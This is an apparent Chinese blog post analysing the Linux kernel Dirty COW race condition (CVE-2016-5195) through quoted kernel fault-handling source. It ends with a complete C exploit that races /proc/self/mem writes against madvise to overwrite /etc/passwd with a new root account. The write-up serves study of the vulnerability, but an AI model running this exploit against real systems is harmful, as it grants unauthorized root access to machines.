39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
long i = 0;
unsigned int page_mask;
struct vm_area_struct *vma = NULL;

if (!nr_pages)
return 0;

VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));

/*
* If FOLL_FORCE is set then do not force a full fault as the hinting
* fault information is unrelated to the reference behaviour of a task
* using the address space
*/
if (!(gup_flags & FOLL_FORCE))
gup_flags |= FOLL_NUMA;

do {
struct page *page;
unsigned int foll_flags = gup_flags;
unsigned int page_increm;

/* first iteration or cross vma bound */
if (!vma || start >= vma->vm_end) {
vma = find_extend_vma(mm, start);
if (!vma && in_gate_area(mm, start)) {
int ret;
ret = get_gate_page(mm, start & PAGE_MASK,
gup_flags, &vma,
pages ? &pages[i] : NULL);
if (ret)
return i ? : ret;
page_mask = 0;
goto next_page;
}

if (!vma || check_vma_flags(vma, gup_flags))
return i ? : -EFAULT;
if (is_vm_hugetlb_page(vma)) {
i = follow_hugetlb_page(mm, vma, pages, vmas,
&start, &nr_pages, i,
gup_flags);
continue;
}
}
retry:
/*
* If we have a pending SIGKILL, don't keep faulting pages and
* potentially allocating memory.
*/
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask);
if (!page) {
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags,
nonblocking);
switch (ret) {
case 0:
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
} else if (PTR_ERR(page) == -EEXIST) {
/*
* Proper page table entry exists, but no corresponding
* struct page.
*/
goto next_page;
} else if (IS_ERR(page)) {
return i ? i : PTR_ERR(page);
}
if (pages) {
pages[i] = page;
flush_anon_page(vma, page, start);
flush_dcache_page(page);
page_mask = 0;
}
next_page:
if (vmas) {
vmas[i] = vma;
page_mask = 0;
}
page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
if (page_increm > nr_pages)
page_increm = nr_pages;
i += page_increm;
start += page_increm * PAGE_SIZE;
nr_pages -= page_increm;
} while (nr_pages);
return i;
}
EXPORT_SYMBOL(__get_user_pages);

最开始就是对vma的一些操作,我们需要注意的是retry之后的内容。可以看出来的是follow_page_mask函数返回的是物理页面,而且faultin_page函数中会调用handle_mm_fault

那么我们在第一次往一个文件中写入内容时会因为Linux的延迟绑定机制导致该页还未和对应的物理页建立映射,那么此时follow_page_mask函数返回的则是NULL,随即进入第一个faultin_page函数,根据前面的分析,这一次解决完毕之后,会分配物理页。那么这里经过retry再一次执行follow_page_mask,不过因为页面不可写再一次导致返回的值为NULL,随即进行第二次faultin_page函数,进行写时复制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
struct mm_struct *mm = vma->vm_mm;
unsigned int fault_flags = 0;
int ret;

/* mlock all present pages, but do not fault in new pages */
if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
return -ENOENT;
/* For mm_populate(), just skip the stack guard page. */
if ((*flags & FOLL_POPULATE) &&
(stack_guard_page_start(vma, address) ||
stack_guard_page_end(vma, address + PAGE_SIZE)))
return -ENOENT;
if (*flags & FOLL_WRITE)
fault_flags |= FAULT_FLAG_WRITE;
if (nonblocking)
fault_flags |= FAULT_FLAG_ALLOW_RETRY;
if (*flags & FOLL_NOWAIT)
fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
if (*flags & FOLL_TRIED) {
VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
fault_flags |= FAULT_FLAG_TRIED;
}

ret = handle_mm_fault(mm, vma, address, fault_flags);
if (ret & VM_FAULT_ERROR) {
if (ret & VM_FAULT_OOM)
return -ENOMEM;
if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
return -EFAULT;
BUG();
}

if (tsk) {
if (ret & VM_FAULT_MAJOR)
tsk->maj_flt++;
else
tsk->min_flt++;
}

if (ret & VM_FAULT_RETRY) {
if (nonblocking)
*nonblocking = 0;
return -EBUSY;
}

/*
* The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
* necessary, even if maybe_mkwrite decided not to set pte_write. We
* can thus safely do subsequent page lookups as if they were reads.
* But only do so when looping for pte_write is futile: in some cases
* userspace may also be wanting to write to the gotten user page,
* which a read fault here might prevent (a readonly page might get
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
return 0;
}

第二次进入时,返回的是一个可写的内存页了,并且返回值为VM_FAULT_WRITE,所以会执行到上面的最后一段,所以会清除掉flag中的FOLL_WRITE。那么在下一次调用follow_page_pte函数时则会返回正常的内存页了。

漏洞分析

在分析之前,首先看一下madvise系统调用,madvise一共有三个参数,第一个参数为地址,第二参数为范围,第三个参数为行为。而这个函数的作用就是建议内核,在从 addr 指定的地址开始,长度等于 len 参数值的范围内,该区域的用户虚拟内存应遵循特定的使用模式。内核使用这些信息优化与指定范围关联的资源的处理和维护过程。而其中存在一个MADV_DONTNEED参数我所理解的就是去除对应的表项,并且被内核标记,在被需要时可以被重新使用。

漏洞成因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
unsigned int flags, pte_t orig_pte)
{
pgoff_t pgoff = (((address & PAGE_MASK)
- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;

pte_unmap(page_table);
/* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */
if (!vma->vm_ops->fault)
return VM_FAULT_SIGBUS;
if (!(flags & FAULT_FLAG_WRITE))
return do_read_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
if (!(vma->vm_flags & VM_SHARED))
return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
}

再次聚焦do_fault函数,可以看到这一次我们的flags其实是没有FAULT_FLAG_WRITE标志位的,所以会直接调用do_read_fault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static int do_read_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
struct page *fault_page;
spinlock_t *ptl;
pte_t *pte;
int ret = 0;

/*
* Let's call ->map_pages() first and use ->fault() as fallback
* if page by the offset is not ready to be mapped (cold cache or
* something).
*/
if (vma->vm_ops->map_pages && fault_around_bytes >> PAGE_SHIFT > 1) {
pte = pte_offset_map_lock(mm, pmd, address, &ptl);
do_fault_around(vma, address, pte, pgoff, flags);
if (!pte_same(*pte, orig_pte))
goto unlock_out;
pte_unmap_unlock(pte, ptl);
}

ret = __do_fault(vma, address, pgoff, flags, NULL, &fault_page);
if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
return ret;

pte = pte_offset_map_lock(mm, pmd, address, &ptl);
if (unlikely(!pte_same(*pte, orig_pte))) {
pte_unmap_unlock(pte, ptl);
unlock_page(fault_page);
page_cache_release(fault_page);
return ret;
}
do_set_pte(vma, address, fault_page, pte, false, false);
unlock_page(fault_page);
unlock_out:
pte_unmap_unlock(pte, ptl);
return ret;
}

注意do_set_pte(vma, address, fault_page, pte, false, false);函数调用,在do_cow_fault函数中同样存在这样的调用do_set_pte(vma, address, new_page, pte, true, true);。可以发现第三个参数也就决定了后面可以获取到的页面,而do_read_fault这里获取的直接就是fault_page,这里就是很简单粗暴的将其移出page_cache,这是因为kernel在面对一个读请求时不会大费周章的再去创建一个dirty COW页。

利用分析

使用两个线程跑竞争,在第一个线程完成两次缺页异常的流程之后,第二个线程调用madvise()系统调用将内存页调出,那么第一个线程在尝试第三次获取内存页时便无法正常获取到可读的物理页,此时会再次出发缺页异常,接下来会有一次进入到faultin_page()函数中,而这次返回的内存页其实就是fault_page,并且这个内存页也是不可写状态的,但是在上面的flag中,我们已经去除掉了FOLL_WRITE所以在内核眼中,这是一块用来读的内存页,所以会正常返回处内存页,但是在access_remote_vm中判断读写使用的是write变量,所以实际上我们依旧是在往内部进行写,至此成功实现了越权写。

综上,可得exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
#include <crypt.h>

struct stat passwd_st;
void *map;
char *fake_user;
int fake_user_length;

pthread_t write_thread, madvise_thread;

struct Userinfo
{
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
struct Userinfo info =
{
.user_id = 0,
.group_id = 0,
.info = "196082",
.home_dir = "/root",
.shell = "/bin/sh",
};

void *writeThread(void *argv)
{
int mm_fd = open("/proc/self/mem", O_RDWR);
printf("fd of mem: %d\n", mm_fd);
for (int i = 0; i < 0x10000; i++)
{
lseek(mm_fd, (off_t)map, SEEK_SET);
write(mm_fd, fake_user, fake_user_length);
}

return NULL;
}

void *madviseThread(void *argv)
{
for (int i = 0; i < 0x10000; i++)
{
madvise(map, 0x100, MADV_DONTNEED);
}

return NULL;
}
int main(int argc, char **argv)
{
int passwd_fd;

if (argc < 3)
{
puts("usage: ./dirty username password");
puts("do not forget to make a backup for the /etc/passwd by yourself");
return 0;
}

info.username = argv[1];
info.hash = crypt(argv[2], argv[1]);

fake_user_length = snprintf(NULL, 0, "%s:%s:%d:%d:%s:%s:%s\n",
info.username,
info.hash,
info.user_id,
info.group_id,
info.info,
info.home_dir,
info.shell);
fake_user = (char *)malloc(fake_user_length + 0x10);

sprintf(fake_user, "%s:%s:%d:%d:%s:%s:%s\n",
info.username,
info.hash,
info.user_id,
info.group_id,
info.info,
info.home_dir,
info.shell);

passwd_fd = open("/etc/passwd", O_RDONLY);
printf("fd of /etc/passwd: %d\n", passwd_fd);

fstat(passwd_fd, &passwd_st);
map = mmap(NULL, passwd_st.st_size, PROT_READ, MAP_PRIVATE, passwd_fd, 0);

pthread_create(&madvise_thread, NULL, madviseThread, NULL);
pthread_create(&write_thread, NULL, writeThread, NULL);

pthread_join(madvise_thread, NULL);
pthread_join(write_thread, NULL);

return 0;
}

参考链接:

https://arttnba3.cn/2021/04/08/CVE-0X00-CVE-2016-5195/

https://elixir.bootlin.com/linux/v4.4/source

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 347.8k 访客数 访问量